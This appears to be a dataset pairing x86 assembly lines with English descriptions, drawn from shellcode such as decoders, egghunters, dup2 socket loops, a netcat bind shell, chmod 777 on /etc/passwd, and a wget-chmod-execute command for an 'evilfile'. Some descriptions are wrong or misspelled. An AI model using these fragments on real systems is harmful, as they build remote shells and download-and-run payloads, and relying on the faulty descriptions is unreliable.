| inc esi \n inc edi increment esi and edi register
|
| inc esi \n inc esi increment esi content two times
|
| inc esi \n inc esi point to the next encoded_shellcode word
|
| inc esi \n inc esi point to the next word in esi
|
| inc esi \n inc esi point to the next word of the encoded shellcode
|
| inc esi \n inc esi point to the next word of the shellcode
|
| inc esi \n inc esi next word of the shellcode
|
| inc esi \n inc esi move to the next word of the encoded shellcode
|
| inc esi \n inc esi move to the next word of the shellcode
|
| inc esi \n inc esi \n inc edi increment esi two times and edi once
|
| inc esi \n inc esi \n inc esi increment esi three times
|
| inc esi \n jmp L1 point to the next byte of the shellcode and jump to label L2
|
| inc esi \n jmp L2 move to the next byte in the shellcode and jump to L2
|
| inc esi \n jmp short decode point to the next byte of the shellcode and jump short to decode
|
| inc esi \n jmp short L1 point to the next byte of the shellcode and jump short to L1
|
| inc esi \n jmp short L2 move to the next byte in the shellcode and jump short to L2
|
| inc esp increment esp content
|
| inc esp increment the contents of the esp register
|
| inc_dec: define inc_dec label
|
| inc_dec: declare inc_dec function
|
| inc_dec: define inc_dec
|
| incaddr: declare _incaddr label
|
| incaddr: declare the incaddr label
|
| incpage: declare _incpage label
|
| incpage: declare incpage function
|
| infinite: define _infinite label
|
| init: declare _init label
|
| init: declare the init label
|
| insertion_decoder: define insertion_decoder label
|
| int 0x80 call kernel
|
| int 0x80 call sigaction() to check memory location [ecx]
|
| int 0x80 execute execve syscall
|
| int 0x80 execute exit syscall
|
| int 0x80 executing the reboot syscall
|
| int 0x80 send an interrupt software
|
| int 0x80 execute
|
| int 0x80 call socket()
|
| int 0x80 call kernel / run connect syscall
|
| int 0x80 execute the function chmod 777 /etc/passwd
|
| int 0x80 call chmod syscall
|
| int 0x80 call kernl
|
| int 0x80 syscall execute
|
| int 0x80 make syscall
|
| int 0x80 executing syscall
|
| int 0x80 call kerel
|
| int 0x80 calling interrupt for sys call
|
| int 0x80 exec sys_dup2
|
| int 0x80 ping kernel
|
| int 0x80 cal kernel
|
| int 0x80 ccall kernel
|
| int 0x80 execute execve
|
| int 0x80 execute chmod
|
| int 0x80 execute exit
|
| int 0x80 execute open
|
| int 0x80 c all kernel
|
| int 0x80 call kerenl
|
| int 0x80 init
|
| int 0x80 call socketcall()
|
| int 0x80 socket()
|
| int 0x80 execute the syscall socketcall
|
| int 0x80 execute the syscall
|
| int 0x80 execute the dup2 syscall
|
| int 0x80 xecute the dup2 syscall
|
| int 0x80 execute the system call
|
| int 0x80 syscall execve
|
| int 0x80 call socketcall
|
| int 0x80 execute the reboot syscall
|
| int 0x80 make the system call
|
| int 0x80 system call interrupt
|
| int 0x80 system call interrupt 0x80
|
| int 0x80 execute execve with system call interrupt
|
| int 0x80 make the kernel call
|
| int 0x80 make the system call to the kernel
|
| int 3 set a breakpoint
|
| int 80h call kernel
|
| int 80h call kernel (exit(0))
|
| int 80h call sys_read
|
| int 80h call sys_read to fill the buffer
|
| int 80h call sys_write
|
| int 80h call the kernel
|
| int 80h make kernel call to display line string
|
| int 80h make kernel call to exit program
|
| int 80h make sys_exit kernel call
|
| int 80h make sys_write kernel call
|
| int 80h make syscall to output the text to stdout
|
| int 80h make syscall to terminate the program
|
| int 80h make the syscall to terminate the program
|
| int 80h make the system calls to the kernel
|
| into if the overflow flag is set, genete an int 4
|
| ja exi jump to exi if greater
|
| ja exit jump to the exit label if the destination operand is greater than the source operand in the above comparison
|
| ja next jump to next label if the destination is greater than the source in the above comparison
|
| ja write jump to write if greater
|
| jae _start-0x24 jump at the adress _start-0x24 if the carry flag is clear
|
| jb _end+0x1d if the carry flag or the zero flag are set set go to the adress at _end+0x1d
|
| jb 0xf3 perform an unsigned comparison and jump to 0xf3 if lower
|
| jb modtest jump to label modtest if below
|
| jb next jump to label next if below
|
| jb write jump to label write if below
|
| jbe __bss_start+0x12 if the carry flag or the zero flag are set go to __bss_start+0x12
|
| jbe __bss_start+0x16 if the carry flag or the zero flag are set go to __bss_start+0x16
|
| jbe __bss_start+0x1a if the carry flag or the zero flag are set go to __bss_start+0x1a
|
| jbe done jump to label done if below or equal
|
| je all jump to the all label if the operands of the above comparison are equals
|
| je connec jump to connect if equal
|
| je connect jump to the connect label if the operands of the above comparison are equals
|
| je continue if equal jump to label continue
|
| je continue jump to label continue if equal
|
| je done jump to label done if equal
|
| je even_number define odd_number label
|
| je even_number jump to even_numer if greater
|
| je exit jump to label exit if equal to 0
|
| je exit jump to the exit label if the operands of the above comparison are equals
|
| je l7 if equal then jump to label l7
|
| je short encodedshellcode jump short to encodedshellcode if equal
|
| je short loc_402b13 jump to loc_402b13 if equal
|
| je stop jump to label stop if equal
|
| jeq loop jump to the code location labeled loop if the operands of the previous comparison are equal
|
| jg encoded+0x18 if the zero flag is clear or the sign flag equals the overflow flag go to the adress at encoded+0x18
|
| jg finished jump if greater than to label finished
|
| jge encoded+0x20 if the sign flag equals the overflow flag go to encoded+0x20 label
|
| jl _while_loop jump to the _while_loop if lower
|
| jl _while_loop jump to the _while_loop label if the destination operand is less than the source operand in the above comparison
|
| jl finished jump if less than to label finished
|
| jl wrap_around jump to the wrap_around label if the destination operand is less than the source operand in the above comparison
|
| jle lp1 if it is less than or equal to 10 then jump to lp1
|
| jmp _accept jump to label _accept
|
| jmp _read jump to _read
|
| jmp _return jump to the _return label
|
| jmp _star jump to _star
|
| jmp _start jump to the _start label
|
| jmp _while_loop jump to the _while_loop label
|
| jmp aslr_file go to aslr_file label
|
| jmp aslr_file jump to the aslr_file label
|
| jmp begin jump to the instruction labeled begin
|
| jmp call_decoder perform un unconditional jumo to call_decoder label
|
| jmp call_decoder perform an unconditional jump to call_decoder
|
| jmp call_decoder perform an unconditional jump to _call_decoder label
|
| jmp call_egghunter go to call_egghunter label
|
| jmp call_egghunter jump to the call_egghunter label
|
| jmp call_shellcode perform an unconditional jump to _call_shellcode label
|
| jmp callpop go to _callpop label
|
| jmp callpop jump to callpop
|
| jmp callpop jump to the callpop label
|
| jmp callz jump to the callz label
|
| jmp carryon jump to the carryon label
|
| jmp connec jump to connec
|
| jmp connect go to _connect label
|
| jmp data jump to the data label
|
| jmp decode go to _decode label
|
| jmp decode jump to decode
|
| jmp eax jump to eax content
|
| jmp eax jump to eax
|
| jmp eax jump to the value stored in the eax register
|
| jmp ecx jump to ecx
|
| jmp edi jump to edi (our shellcode) if both eggs are found
|
| jmp edi jump to shellcode
|
| jmp edi go to edi
|
| jmp edi jump to edi
|
| jmp edi jump to the edi label
|
| jmp edx perfrom an unconditional jump to edx
|
| jmp edx jump to edx
|
| jmp encodedshellcode perform an unconditional jump to encodedshellcode_label
|
| jmp encrypt go to _encrypt label
|
| jmp encrypt jump to the encrypt label
|
| jmp entrypoint jump to _ entrypoint
|
| jmp entrypoint jump to the entrypoint label
|
| jmp esp go to esp address
|
| jmp esp jump to the esp label
|
| jmp find_address perform an unconditional jumo to _find_address label
|
| jmp fupdisasm+1 jump to fupdisasm+1
|
| jmp fupdisasm+1 jump to the address specified by the operation fupdisasm+1
|
| jmp fupdisasm+3 jump to the address specified by the operation fupdisasm+3
|
| jmp get_key jumo to get_key label
|
| jmp insertion_decoder perform an unconditional jumo to insertion_decoder label
|
| jmp jocker go to _jocker label
|
| jmp jocker jump to the jocker label
|
| jmp l20 jump to label l20
|
| jmp loop jump to the label loop
|
| jmp multiplyloop jump to label multiplyloop
|
| jmp nextarg jump to nextarg label
|
| jmp nextchar jump to the point in the code labeled nextchar
|
| jmp one jump to the one label
|
| jmp read perform an unconditional jump to _read label
|
| jmp read jump to the read label
|
| jmp read jump to the label read
|
| jmp read jump to label read
|
| jmp read_file perform an unconditional jump to read_file_label
|
| jmp reading go to _reading label
|
| jmp reading jump to the reading label
|
| jmp shell go to _shell label
|
| jmp shell jump to the shell label
|
| jmp shellcode perform an unconditional jumo to _shellcode label
|
| jmp shellcode jump to shellcode
|
| jmp shellcode jump to the shellcode label
|
| jmp short _cmd perform a short unconditional jump to _cmd label
|
| jmp short _cmd perform a short jmp to _cmd label
|
| jmp short _cmd jump short to the _cmd label
|
| jmp short _execline perform a short and unconditional jumo to _execline label
|
| jmp short _execline jump short to the _execline label
|
| jmp short _file perform a short unconditional jump to _file label
|
| jmp short _file perform a short unconditional jmp to _file label
|
| jmp short _file jump short to the _file label
|
| jmp short _load_data perform a short unconditional jumo to _load_data label
|
| jmp short _load_data jump short to the _load_data label
|
| jmp short _load_data jump short to _load_data label
|
| jmp short _star jump short to _star label
|
| jmp short _start jump short to the _start label
|
| jmp short .exit jump short to the .exit label
|
| jmp short 0x11 jump short to 0x11
|
| jmp short 0x2c jump short to 0x2c
|
| jmp short 0x34 jump short to 0x34
|
| jmp short 0x63 jump short to 0x63
|
| jmp short call_decoder perform an unconditional short jump to _call_decoder label
|
| jmp short call_decoder perform a short unconditional jump to call_decoder_label
|
| jmp short call_decoder perform a short unconditional jump to call_decoder label
|
| jmp short call_decoder perform a short unconditonal jump to call_decoder
|
| jmp short call_decoder jump short to the call_decoder label
|
| jmp short call_decoder jump short to call_decoder
|
| jmp short call_decoder jump short to the function call_decoder
|
| jmp short call_shellcode perform an unconditional short jump to _call_shellcode label
|
| jmp short call_shellcode perform an unconditional short jump to call_shellcode_label
|
| jmp short call_shellcode perfrom a short unconditional jump to call_sh-ellcode label
|
| jmp short call_shellcode perform a short unconditional jump to call_shellcode label
|
| jmp short call_shellcode jump short to the function call_shellcode
|
| jmp short call_shellcode go to call_shellcode
|
| jmp short call_shellcode jump short to call_shellcode
|
| jmp short call_shellcode jump short to the call_shellcode label
|
| jmp short call_write perform an unconditional jump to _call_write label
|
| jmp short call_write jump short to the call_write label
|
| jmp short callit jump short to the callit label
|
| jmp short callme jump short to the callme label
|
| jmp short cmd perform an unconditional short jump to _cmd label
|
| jmp short cmd jump short to the cmd label
|
| jmp short cycle jump short to cycle
|
| jmp short cycle jump short to the cycle label
|
| jmp short cycle jump short to cycle label
|
| jmp short decode perform an unconditional short jump to _decode label
|
| jmp short decode perform a short jump to _decode label and repeat the decoding process for the next word!
|
| jmp short decode jump short to the label decode
|
| jmp short decode jump short to decode
|
| jmp short decode jump back to start of decode
|
| jmp short decode jump short to the function decode
|
| jmp short decode jump short to the decode label
|
| jmp short decode_pr goto the decode_pr to decode the next bytes
|
| jmp short decode_pr jump short to the decode_pr label
|
| jmp short enc perform a short jumo to enc_label
|
| jmp short enc jump short to the enc label
|
| jmp short encodedshellcode perform an unconditional short jump to _encodedshellcode label
|
| jmp short end perform a short unconditional jump to _end label
|
| jmp short end jump short to the end label
|
| jmp short exi jump short to exi label
|
| jmp short fileaddress perform a short unconditional jumo to fileaddress
|
| jmp short fileaddress jump short to the fileaddress label
|
| jmp short formatting jump short to the formatting label
|
| jmp short four perform a short unconditional jump to _four label
|
| jmp short four jump short to the four label
|
| jmp short get perform a short unconditional jump to get_label
|
| jmp short get jump short to the get label
|
| jmp short get_shellcode_addr jump short to get_shellcode_addr
|
| jmp short gotocall perform a short unconditional jumo to _gotocall label
|
| jmp short gotocall jump short to the gotocall label
|
| jmp short here jump short to the here label
|
| jmp short inc_dec perform a short unconditional jump to inc_dec label
|
| jmp short inc_dec jump short to inc_dec
|
| jmp short inc_dec jump short to the routine inc_dec
|
| jmp short main perform a short jump to main_label
|
| jmp short main jump short to the main label
|
| jmp short main jump short to main
|
| jmp short output perform a short unconditional jump to output label
|
| jmp short output jump short to the output label
|
| jmp short path jump short to the path label
|
| jmp short process_shellcode perform a short unconditional jump to process_shellcode
|
| jmp short process_shellcode jump short to the process_shellcode label
|
| jmp short push_cmd perform a short unconditional jump to push_cmd label
|
| jmp short push_cmd jump short to push_cmd
|
| jmp short push_cmd jump short to the push_cmd label
|
| jmp short read perform an unconditional short jump to read_label
|
| jmp short read perform an unconditional short jump to read label
|
| jmp short read jump short to the read label
|
| jmp short rotate perform an unconditional short jump to _rotate label
|
| jmp short rotate jump short to the rotate label
|
| jmp short search jump short to the search label
|
| jmp short setup perform an unconitional short jump to _setup label
|
| jmp short setup jump short to the setup label
|
| jmp short shellcode execute decoded shellcode
|
| jmp short shellcode perform a short unconditional jump to _shellcode label
|
| jmp short shellcode perform a short unconditional jump to _shellcode
|
| jmp short shellcode perform a short unconditional jump to shellcode
|
| jmp short shellcode jump short to the shellcode label
|
| jmp short shellcode jump short to shellcode
|
| jmp short shellcode_section go to shellcode_section
|
| jmp short stage perform a short unconditional jump to _stage label
|
| jmp short stage jump short to stage
|
| jmp short stage jump short to the stage label
|
| jmp short switch perform an unconditional short jump to _switch label
|
| jmp short switch jump short to switch
|
| jmp short three perform a short unconditional jump to _three label
|
| jmp short three jump short to the three label
|
| jmp short todo perform a short unconditional jump to todo_label
|
| jmp short todo jump short to the todo label
|
| jmp short two perform an unconditional short jump to two_label
|
| jmp short two perform a short unconditional jump to _two label
|
| jmp short two jump short to the two label
|
| jmp two perform an unconditional jump to _two label
|
| jmp two jump to two
|
| jmp two jump to the two label
|
| jmp zero10 go to _zero10 label
|
| jmp zero11 go to _zero11 label
|
| jmp zero12 go to _zero12 label
|
| jmp zero13 go to _zero13 label
|
| jmp zero14 go to _zero14 label
|
| jmp zero15 go to _zero15 label
|
| jmp zero16 go to _zero16 label
|
| jmp zero17 go to _zero17 label
|
| jmp zero18 go to _zero18 label
|
| jmp zero19 go to _zero19 label
|
| jmp zero1a go to _zero1a label
|
| jmp zero1b go to _zero1b label
|
| jmp zero1c go to _zero1c label
|
| jmp zero1d go to _zero1d label
|
| jmp zero1e go to _zerp1e label
|
| jmp zero2 go to _zero2 label
|
| jmp zero3 go to _zero3 label
|
| jmp zero4 go to _zero4 label
|
| jmp zero5 go to _zero5 label
|
| jmp zero6 go to _zero6 label
|
| jmp zero7 go to _zero7 label
|
| jmp zero8 go to _zero8 label
|
| jmp zero9 go to _zero9 label
|
| jmp zeroa go to _zeroa label
|
| jmp zerob go to _zerob label
|
| jmp zeroc go to _zeroc label
|
| jmp zerod go to _zerod label
|
| jmp zeroe go to _zeroe label
|
| jmp zerof go to _zerof label
|
| jmp_search: define the jmp_search label
|
| jnc 0x86 jump to 0x86 if the carry flag is zero
|
| jnc 0xd8 jump to 0xd8 it the carry flag is zero
|
| jne _end+0x5f if the zero flag is clear go to adress _end+0x5f
|
| jne _nex if not equal jump to the _nex label
|
| jne _next jump to the _next label if the operands of the above comparison are not equals
|
| jne 804809a jump to 804809a if not equal
|
| jne 80480aa jump to 80480aa if not equal
|
| jne checkbuzz if the remainder is not equal to zero jump to local label checkbuzz
|
| jne checkint if the remainder is not equal to zero jump to local label checkint
|
| jne decode_insertion if the zero flag is clear jump to decode insertion label
|
| jne encoded if the zero flag is clear jump to _encoded label
|
| jne encodedshellcode if the zero flag is clear go to _encodedshellcode label
|
| jne loop jump to the address specified by the label loop if the operands are not equals in the previous comparison
|
| jne next_addr jump to the next_addr label if the operands of the above comparison are not equals
|
| jne nextnumber if not equal jump to the label nextnumber
|
| jne no_error jump to the label no_error if not equal
|
| jne retry jump to retry if not equal
|
| jne short _while_loop if not equal jump short to the _while_loop
|
| jne short _while_loop jump to the _while_loop label if the operands of the above comparison are not equals
|
| jno insertion_decoder+0xc if the overflow flag is clear go to the adress insertion_decoder+0xc
|
| jns _dup2_loop as long as sf is not set, jump to _dup2_loop label
|
| jns _dup2_loop jump to the _dup2_loop label if the previous instruction clears the sign flag
|
| jns 2f jump to 2f if the sign flag is zero
|
| jns 3f jump to 3f if the sign flag is zero
|
| jns decode_pr jump to decode_pr if not signed
|
| jns dup2 as long as sf iss not set, jump to _dup2 label
|
| jns dup2 jump to dup2 if not negative
|
| jns dup2 jump to the dup2 label if the previous instruction clears the sign flag
|
| jns dup2loop jump back to the dup2loop procedure until ecx equals 0.
|
| jns duploop as long as sf iss not set, jump to _duploop label
|
| jns duploop jump to duploop if not negative
|
| jns duploop jump to the duploop label if the previous instruction clears the sign flag
|
| jns loop jump to loop_label if the sign flag is clear
|
| jns loop if sf not set jump to _loop label
|
| jns loop jump to _loop label if the sign flag is clear
|
| jns loop if sf not set, ecx not negative so continue looping
|
| jns loop if ecx is not inferior to 0 go to _loop label
|
| jns loop as long as sf is not set, jump to _loop label
|
| jns loop jump to the loop label if the previous instruction clears the sign flag
|
| jns loop_dup jump to loop_dup label if the sign flag is clear
|
| jns loop2 as long as sf is not set, jump to _loop2 label
|
| jns loopinghere loop as long sign flag is not set
|
| jns loopinghere jump to the loopinghere label if the previous instruction clears the sign flag
|
| jnz _start jump to the _start label if the zero flag is cleared
|
| jnz 0x41 jump to 0x41 if not zero
|
| jnz 0x8 jump to 0x8 if not zero
|
| jnz 1 if not zero jump to numeric label 1
|
| jnz 1 jump to the numeric label 1 if the zero flag is cleared
|
| jnz decode jump to _decode label if flag zero is equal to 0
|
| jnz decode jump to the decode label if the zero flag is cleared
|
| jnz dup2 jump to dup2 if flag zero is equal to 0
|
| jnz exeunt jump to exeunt if not zero
|
| jnz exit_on_error jump to exit_on_error label if flag zero is equal to 0
|
| jnz exit_on_error jump to the exit_on_error label if the zero flag is cleared
|
| jnz incaddr if no match go to incaddr
|
| jnz incaddr jump to incaddr if not equal
|
| jnz incaddr jump to incaddr if no match
|
| jnz l00p jump to the l00p label if the zero flag is cleared
|
| jnz loop jump to loop_label if flag zero is equal to 0
|
| jnz loop go to _loop label if flag zero is not set
|
| jnz loop jump to loop if not equal to zero
|
| jnz loop jump to the loop label if the zero flag is cleared
|
| jnz next_addr jump to next_addr if not zero
|
| jnz next_cycle if not zero jump to the next_cycle label
|
| jnz next_cycle jump to the next_cycle label if the zero flag is cleared
|
| jnz scan if not 0 then jump to the scan label
|
| jnz short _paren if not zero jump short to the _paren label
|
| jnz short _parent jump short to the _parent label if the zero flag is cleared
|
| jnz short decode jump short to decode if not zero
|
| jnz short decode jump short to the decode label if the zero flag is cleared
|
| jnz short loc_4010e5 if not zero jump to loc_4010e5
|
| jnz stage jump to the stage label if the zero flag is cleared
|
| jnz top if not 0 then jump to the top label
|
| jocker: define _jocker label
|
| jocker: declare the jocker label
|
| js error jump to error label if sign flag SF is equal to 1
|
| jz _close jump to the label _close if the zero flag is set
|
| jz _read jump to the label _read if the zero flag is set
|
| jz _start jump to the _start label if the zero flag is set
|
| jz 0x8 jump to 0x8 if zero
|
| jz call_decoded jump to the call_decoded label if the zero flag is set
|
| jz child if zero jump to the child label
|
| jz child jump to child if zero
|
| jz child jump to label child if the zero flag is set
|
| jz child jump to the child label if the zero flag is set
|
| jz decoded_shellcode if zero jump to decoded_shellcode
|
| jz decoded_shellcode jump to decoded if zero
|
| jz download jump to download if zero
|
| jz download jump to the download label if the zero flag is set
|
| jz encoded if zero jump to the encoded label
|
| jz encoded jump to the encoded label if the zero flag is set
|
| jz exit jump to the exit label if the zero flag is set
|
| jz find_egg jump to find_egg if zero
|
| jz find_egg jump to the find_egg label if the zero flag is set
|
| jz finished jump to the point in the code labeled finished if zero
|
| jz formatting if zero jump to the formatting label
|
| jz formatting jump to the formatting label if the zero flag is set
|
| jz incpage skip page if it returned efault
|
| jz incpage jump to incpage if equal
|
| jz next_cycle if zero jump to the next_cycle label
|
| jz next_cycle jump to the next_cycle label if the zero flag is set
|
| jz next_page jump to next_page if zero
|
| jz nomoreargs if zero flag is set jump to nomoreargs label
|
| jz shift_decode if zero jump to the shift_decode label
|
| jz shift_decode jump to the shift_decode label if the zero flag is set
|
| jz short loc_402b13 if 0 then jump to loc_402b13
|
| key equ 0xdeadbeef declare key variable euqal to the value 0xdeadbeef
|
| key equ 0xdeadbeef define key constant equal to 0xdeadbeef
|
| l00p: declare the l00p label
|
| L1: \n call [esp] in L1 call the stack
|
| L1: \n jmp short esp in L1 jump short to esp
|
| L1: \n jmp short L2 define L1 label and jump short to L2
|
| L2: \n call [esp] declare L2 label and call the function pointed by the stack
|
| L2: \n jmp L3 define L2 label and jump to L3 label
|
| L2: \n jmp short esi define L2 and jump short to esi
|
| L3: \n call [esp] declare L3 and jump to the shellcode
|
| L3: \n jmp edi define the label L3 and jump to edi
|
| L3: \n jmp short L4 define L3 and jump short to L4 label
|
| L4: \n call [esp] declare L4 and jump to the shellcode
|
| L4: \n jmp short esp in L4 jump short to the stack pointer
|
| L5: \n call [esp] in L5 jump to the shellcode
|
| L5: \n jmp esp define the label L5 and jump to the location pointed by the stack pointer
|
| lea bx, [bp+0x08] load the effective address of the operation [bp+0x08] into the bx register
|
| lea bx, [bp+0x0b] load the effective address of the operation bp+0x0b] into the bx register
|
| lea cx, [bp+di+0x32] load the effective address of the operation [bp+di+0x32] into the cx register
|
| lea dx, [bp+di+0x3e] load the effective address of the operation [bp+di+0x3e] into the dx register
|
| lea eax, [ebx+0xf] load the address of the variable at the address ebx+0xfinto eax register
|
| lea eax, [ebx+0xf] load the effective address of the result of the operation [ebx+0xf] into the eax register
|
| lea eax, [ebx+17h] load the effective address of the result of the operation [ebx+17h] into the eax register
|
| lea eax, [ebx+8] put the address of ebx+8 into eax
|
| lea eax, [ecx+0bh] load the effective address of the result of the operation [ecx+0bh] into the eax register
|
| lea eax, [ecx+4] load the effective address of the result of the operation [ecx+4] into the eax register
|
| lea eax, [esi] point eax to the start of the shellcode
|
| lea eax, [esi+1] point eax to the next byte of the shellcode
|
| lea eax, [val] place the value val in eax
|
| lea eax, [var] place the address of var in eax
|
| lea eax, [var] place the value in var in eax
|
| lea eax, [zero_reg+3] load the effective address [zero_reg+3] into eax
|
| lea eax, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the eax register
|
| lea eax, [zero_reg+6] load the effective address [zero_reg+6] into eax
|
| lea eax, [zero_reg+6] load the effective address of the result of the operation [zero_reg+6] into the eax register
|
| lea eax, [zero_reg+66h] load the effective address [zero_reg+66h] into eax
|
| lea eax, [zero_reg+66h] load the effective address of the result of the operation [zero_reg+66h] into the eax register
|
| lea eax,[ebx+0xb] load the effective address of the operation [ebx+0xb] into the eax register
|
| lea ebp,[ebp+0x59] load the effective address of the operation [ebp+0x59] into the ebp register
|
| lea ebx, [ebp-8] load the effective address [ebp-8] into ebx
|
| lea ebx, [ebp-8] load the effective address of ebp-8 into the ebx register
|
| lea ebx, [ebp+24] load the effective address [ebp+24] into ebx
|
| lea ebx, [ebp+24] load the effective address of the result of the operation [ebp+24] into the ebx register
|
| lea ebx, [ebp+39] load the effective address [ebp+39] into ebx
|
| lea ebx, [ebp+39] load the effective address of the result of the operation [ebp+39] into the ebx register
|
| lea ebx, [edx+0x4] copy the adress of the varable at location edx+0x4 into ebx register
|
| lea ebx, [edx+0x4] load the effective address of edx+0x4 into ebx
|
| lea ebx, [esi] put address of string -> ebx
|
| lea ebx, [esi] load the effective address of esi into the ebx register
|
| lea ebx, [esi] point ebx to the start of the shellcode
|
| lea ebx, [esi+1] point ebx to the next byte of the shellcode
|
| lea ebx, [esi+13] load the effective address of the result of the operation [esi+13] into the ebx register
|
| lea ebx, [esi+14] load address of -lvp1337 in ebx
|
| lea ebx, [esi+14] load the effective address of the result of the operation [esi+14] into the ebx register
|
| lea ebx, [esi+15] load the effective address [esi+15] into ebx
|
| lea ebx, [esi+15] load the effective address of the result of the operation [esi+15] into the ebx register
|
| lea ebx, [esi+23] load address of -e/bin/bash into ebx
|
| lea ebx, [esi+23] load the effective address of the result of the operation [esi+23] into the ebx register
|
| lea ebx, [esp +1] load the effective address [esp+1] into ebx
|
| lea ebx, [esp +1] load the effective address of the result of the operation [esp +1] into the ebx register
|
| lea ebx, [esp] load stack pointer to ebx
|
| lea ebx, [esp] save esp address into ebx register
|
| lea ebx, [esp] load the effective address of esp into ebx
|
| lea ebx, [esp] load the effective address of esp into the ebx register
|
| lea ebx, [zero_reg+3] load the effective address [zero_reg+3] into ebx
|
| lea ebx, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the ebx register
|
| lea ebx,[esi] load the address of esi into ebx register
|
| lea ecx, [eax] copy the address of eax in ecx
|
| lea ecx, [eax] load the effective address of the result of the operation [eax] into the ecx register
|
| lea ecx, [ebp+28] load the effective address [ebp+28] into ecx
|
| lea ecx, [ebp+28] load the effective address of the result of the operation [ebp+28] into the ecx register
|
| lea ecx, [ebx+0xff] load the value of ebx+0xff into register ecx
|
| lea ecx, [ebx+8] load the effective address of ebx+8 into ecx
|
| lea ecx, [esi + 8] load the adress esi+8 into ecx register
|
| lea ecx, [esi + 8] load the effective address of the result of the operation [esi + 8] into the ecx register
|
| lea ecx, [esi] point ecx to the start of the shellcode
|
| lea ecx, [esi+1] point ecx to the next byte of the shellcode
|
| lea ecx, [esi+18] load the effective address [esi+18] into ecx
|
| lea ecx, [esi+18] load the effective address of the result of the operation [esi+18] into the ecx register
|
| lea ecx, [esi+22] load the effective address of the result of the operation [esi+22] into the ecx register
|
| lea ecx, [esi+35] load address of ptr to argv[] array into ecx register
|
| lea ecx, [esi+35] load the effective address of the result of the operation [esi+35] into the ecx register
|
| lea ecx, [esi+8] load the effective address of the result of the operation [esi+8] into the ecx register
|
| lea ecx, [esp] load stack pointer to ebx
|
| lea ecx, [esp] load esp address into ecx register
|
| lea ecx, [esp] load the effective address of esp into the ecx register
|
| lea ecx, [zero_reg+117] load the effective address [zero_reg+117] into ecx
|
| lea ecx, [zero_reg+117] load the effective address of the result of the operation [zero_reg+117] into the ecx register
|
| lea ecx, [zero_reg+3] load the effective address [zero_reg+3] into ecx
|
| lea ecx, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the ecx register
|
| lea ecx,[esi+0xc] load the address esi+0xc into ecx register
|
| lea edi, [ebx] load the effective address [ebx] into edi
|
| lea edi, [ebx] load the effective address of ebx into the edi register
|
| lea edi, [ebx+4*esi] place the value ebx+4*esi in edi
|
| lea edi, [ebx+4*esi] place the quantity ebx+4*esi in edi
|
| lea edi, [edi + 2] load the address of edi+2 into edi
|
| lea edi, [edi +8] make edi point to rot_value
|
| lea edi, [esi + 13] put the byte in the address esi+13 in edi regsiter.
|
| lea edi, [esi + 13] load the effective address of the result of the operation [esi + 13] into the edi register
|
| lea edi, [esi + 13] load the address at esi + 13 into edi
|
| lea edi, [esi +1] transfer the second character pointed from esi to edi
|
| lea edi, [esi +1] load the effective address of [esi + 1] into the edi register
|
| lea edi, [esi] copy the address of esi in edi
|
| lea edi, [esi] load the effective address [esi] into edi
|
| lea edi, [esi] load the address of esi into edi
|
| lea edi, [esi] point edi to the start of the shellcode
|
| lea edi, [esi] load the contents of esi into edi
|
| lea edi, [esi+0x1] load the address of esi+0x1 into edi
|
| lea edi, [esi+1] point edi to the next byte of the shellcode
|
| lea edi, [esi+13] load the effective address of esi+13 into esi+13
|
| lea edi,[esi] copy the address of esi into edi register
|
| lea edi,[esi+0x1] copy the adress a tesi+0x1 into edi register
|
| lea edx, [ebx+12] load the effective address of ebx+12 into edx
|
| lea edx, [esi + 12] load the adress esi+12 into edx register
|
| lea edx, [esi + 12] load the effective address of the result of the operation [esi + 12] into the edx register
|
| lea edx, [esi] point edx to the start of the shellcode
|
| lea edx, [esi+1] point edx to the next byte of the shellcode
|
| lea edx, [esi+26] load the effective address [esi+26] into edx
|
| lea edx, [esi+26] load the effective address of the result of the operation [esi+26] into the edx register
|
| lea edx, [esi+30] load the effective address of the result of the operation [esi+30] into the edx register
|
| lea edx, [esi+47] load address of ptr to envp[] null into edx register
|
| lea edx, [esi+47] load the effective address of the result of the operation [esi+47] into the edx register
|
| lea edx,[esi+0x10] load the address esi+0x10 into edx register
|
| lea esi, [ebp+20] load the effective address [ebp+20] into esi
|
| lea esi, [ebp+20] load the effective address of the result of the operation [ebp+20] into the esi register
|
| lea esi, [edi + 8] transfer the eighth character pointed by edi to esi
|
| lea esi, [edi +16] make esi register point to shellcode
|
| lea esi, [edi +8] make esi point to shellcode that contains previous xorÕed results
|
| lea esi, [esi +4] load the effective address of the result of the operation [esi +4] into the esi register
|
| lea esi, [esi+2] load the effective address of esi+2 into esi
|
| lea esi, [esi+4] load the effective address [esi+4] into esi
|
| lea esp, [ebx] load the value of register ebx into register esp
|
| lea rdi, [rsp] load the address of the string that is on the stack into rsi
|
| len equ $ - msg define len equal to the length of msg
|
| len equ $-encodedshellcode define len equal to the lenght of the encodedshellcode array
|
| len: equ $-encodedshellcode variable for the lenght of the encoded shellcode
|
| len: equ $-google "define len = size of db ""127.1.1.1 google.com"""
|
| len: equ $-google declare the len label equal to the size of the google variable
|
| len: equ $-shellcode define lenght of shellcode, len
|
| len: equ $-shellcode declare the len label equal to the length of shellcode
|
| les esp,fword ptr [ebx] loads 32-bit pointer from ebx to esp and fs regster
|
| letter_c db 'c' allocate a single byte of memory and initialize it to the letter 'c'
|
| line db '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a define line as the byte string '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a
|
| "line db ""/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile"", 0x0a" "jump to the _exec label after entering the address of the string """"/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile"", 0x0a"" at the top of the stack"
|
| loader: define _loader
|
| loader: declare the loader label
|
| lods al,byte ptr ds:[esi] transfers string element addressed by esi regoster into al register
|
| loop .3 decrement the counter and jump to .3 label if the count is not zero
|
| loop 3 decrement ecx and jumps to the 3 label unless decrementing ecx caused its value to become zero
|
| loop bucle decrement the ecx register and jump to the bucle label if the counter is not zero
|
| loop check_even_odd loop check_even_odd using ecx for counter
|
| loop check_even_odd decrement the count register and jump to check_even_odd if the count is not equal to zero
|
| loop check_even_odd \n jmp short shellcode decrease the counter and jump to check_even_odd if not zero else jump short to shellcode
|
